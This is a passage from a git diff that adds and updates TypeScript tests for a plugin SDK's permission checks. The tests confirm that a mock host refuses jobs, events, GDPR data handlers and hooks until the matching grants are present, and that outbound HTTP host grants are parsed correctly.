['jobs', { jobs: [{ id: 'refresh', handler: noop }] }, JOBS_PERMISSION], + ['scheduled', { scheduled: noop }, JOBS_PERMISSION], + ['events', { events: [{ on: 'place:created', handler: noop }] }, EVENTS_PERMISSION], + ['deleteUserData', { deleteUserData: noop }, USER_DATA_PERMISSION], + ['exportUserData', { exportUserData: noop }, USER_DATA_PERMISSION], + ])('flags %s without its grant, and clears once granted', (entryPoint, plugin, permission) => { + const gaps = grantGaps(plugin, new Set()); + expect(gaps).toHaveLength(1); + expect(gaps[0]).toMatchObject({ entryPoint, permission }); + expect(grantGaps(plugin, new Set([permission]))).toEqual([]); + }); + + it('does not flag an EMPTY jobs/events array — nothing is implemented', () => { + expect(grantGaps({ jobs: [], events: [] }, new Set())).toEqual([]); + }); + + it('ignores an unknown hooks.* key (the host ignores it too, so it is not a gap)', () => { + expect(grantGaps({ hooks: { notAHook: { f: noop } } }, new Set())).toEqual([]); + }); + + it('reports every gap at once, so one dev run surfaces them all', () => { + const gaps = grantGaps( + { jobs: [{ id: 'j', handler: noop }], events: [{ on: '*', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } }, + new Set(), + ); + expect(gaps.map((g) => g.permission).sort()).toEqual( + [EVENTS_PERMISSION, JOBS_PERMISSION, 'hook:trip-warning-provider'].sort(), + ); + }); + + it('a partially-granted plugin reports only what is missing', () => { + const plugin = { jobs: [{ id: 'j', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } }; + const gaps = grantGaps(plugin, new Set([JOBS_PERMISSION])); + expect(gaps).toHaveLength(1); + expect(gaps[0].permission).toBe('hook:trip-warning-provider'); + }); +}); + +describe('grantedHosts', () => { + it('takes the hosts from http:outbound: permissions only', () => { + expect(grantedHosts(['db:own', 'http:outbound:api.example.com', 'http:outbound:*.foo.dev'])).toEqual([ + 'api.example.com', + '*.foo.dev', + ]); + }); + + it('a bare http:outbound names no host — it reaches nothing', () => { + expect(grantedHosts(['http:outbound'])).toEqual([]); + expect(grantedHosts(['http:outbound:'])).toEqual([]); + }); +}); diff --git a/plugin-sdk/test/sdk.test.ts b/plugin-sdk/test/sdk.test.ts index ae9070d09..d859ea22f 100644 --- a/plugin-sdk/test/sdk.test.ts +++ b/plugin-sdk/test/sdk.test.ts @@ -4,7 +4,7 @@ import os from 'node:os'; import path from 'node:path'; import zlib from 'node:zlib'; import { createRequire } from 'node:module'; -import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost } from '../src/index.js'; +import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost, PermissionDenied } from '../src/index.js'; import { isUnboundedRange } from '../src/manifest.js'; import { scaffold } from '../src/cli/create.js'; import { validatePluginDir } from '../src/cli/validate.js'; @@ -285,7 +285,12 @@ describe('createMockHost', () => { async exportUserData({ userId }) { return { userId, rows: 2 }; }, hooks: { tripCardProvider: { async getCards(tripIds) { return tripIds.map((id) => ({ tripId: id, id: 'b', label: 'X' })); } } }, }); - const host = createMockHost({ grants: ['jobs:run', 'hook:trip-card-provider'], actingUserId: 7 }); + // Every entry point needs the grant TREK would gate it on — events and the GDPR + // handlers included, or the driver refuses them exactly as the host would. + const host = createMockHost({ + grants: ['jobs:run', 'events:subscribe', 'hook:user-data', 'hook:trip-card-provider'], + actingUserId: 7, + }); const d = host.run(def); const res = await d.route({ method: 'GET', path: '/ping' }); @@ -305,6 +310,52 @@ describe('createMockHost', () => { await expect(host.run(definePlugin({})).scheduled('x')).rejects.toThrow(/no scheduled handler/); }); + // TREK gates hooks, events, jobs and the GDPR handlers on a permission BEFORE the plugin + // is reached, and skips an ungranted plugin silently — no error, no log, it just never + // runs. The driver must refuse them, or a green unit test still means a dead plugin. + it('refuses every entry point the manifest did not grant, the way TREK would', async () => { + const ran: string[] = []; + const def = definePlugin({ + jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }], + async scheduled() { ran.push('scheduled'); }, + events: [{ on: 'place:created', handler() { ran.push('event'); } }], + async deleteUserData() { ran.push('delete'); }, + async exportUserData() { ran.push('export'); return {}; }, + hooks: { + warningProvider: { async getWarnings() { ran.push('warn'); return []; } }, + notificationChannel: { async send() { ran.push('send'); }, async test() { ran.push('test'); } }, + }, + }); + const d = createMockHost({ grants: [] }).run(def); // implements everything, granted nothing + + await expect(d.job('refresh')).rejects.toThrow(PermissionDenied); + await expect(d.job('refresh')).rejects.toThrow(/requires jobs:run/); + await expect(d.scheduled('daily')).rejects.toThrow(/requires jobs:run/); + await expect(d.event('place:created')).rejects.toThrow(/requires events:subscribe/); + await expect(d.deleteUserData(1)).rejects.toThrow(/requires hook:user-data/); + await expect(d.exportUserData(1)).rejects.toThrow(/requires hook:user-data/); + await expect(d.hook('warningProvider', 'getWarnings', 1)).rejects.toThrow(/requires hook:trip-warning-provider/); + await expect(d.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).rejects.toThrow(/requires hook:notification-channel/); + await expect(d.channel.test()).rejects.toThrow(/requires hook:notification-channel/); + + // Not one handler ran. That is the production behaviour this mirrors. + expect(ran).toEqual([]); + }); + + it('runs the same entry points once the grants are there', async () => { + const ran: string[] = []; + const def = definePlugin({ + jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }], + events: [{ on: 'place:created', handler() { ran.push('event'); } }], + hooks: { warningProvider: { async getWarnings() { ran.push('warn'); return []; } } }, + }); + const d = createMockHost({ grants: ['jobs:run', 'events:subscribe', 'hook:trip-warning-provider'] }).run(def); + await d.job('refresh'); + await d.event('place:created'); + await d.hook('warningProvider', 'getWarnings', 1); + expect(ran).toEqual(['job', 'event', 'warn']); + }); + it('exposes the scheduler timers a plugin armed via ctx.scheduler', async () => { const def = definePlugin({ async onLoad(ctx) { await ctx.scheduler.every(3_600_000, 'sync', { n: 1 }); } }); const host = createMockHost({ grants: ['jobs:run'] }); @@ -900,13 +951,15 @@ describe('mock-host inter-plugin (plugins.call + events.emit)', () => { await expect(narrowed.channel.send({ event: 'trip_invite', title: 'T', body: 'B' })).rejects.toThrow(/never dispatches/); await expect(narrowed.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).resolves.toBeUndefined(); - await expect(createMockHost({}).run(definePlugin({})).channel.send({ event: 'todo_due', title: 'T', body: 'B' })) + await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(definePlugin({})) + .channel.send({ event: 'todo_due', title: 'T', body: 'B' })) .rejects.toThrow(/no notificationChannel hook/); }); it('a plugin with no notificationChannel.test is a clear error, not a silent pass', async () => { const def = definePlugin({ hooks: { notificationChannel: { async send() {} } } }); - await expect(createMockHost({}).run(def).channel.test()).rejects.toThrow(/no notificationChannel\.test/); + await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(def).channel.test()) + .rejects.toThrow(/no notificationChannel\.test/); }); it('runs a settings action as the CLICKING user and shapes the result like the host', async () => {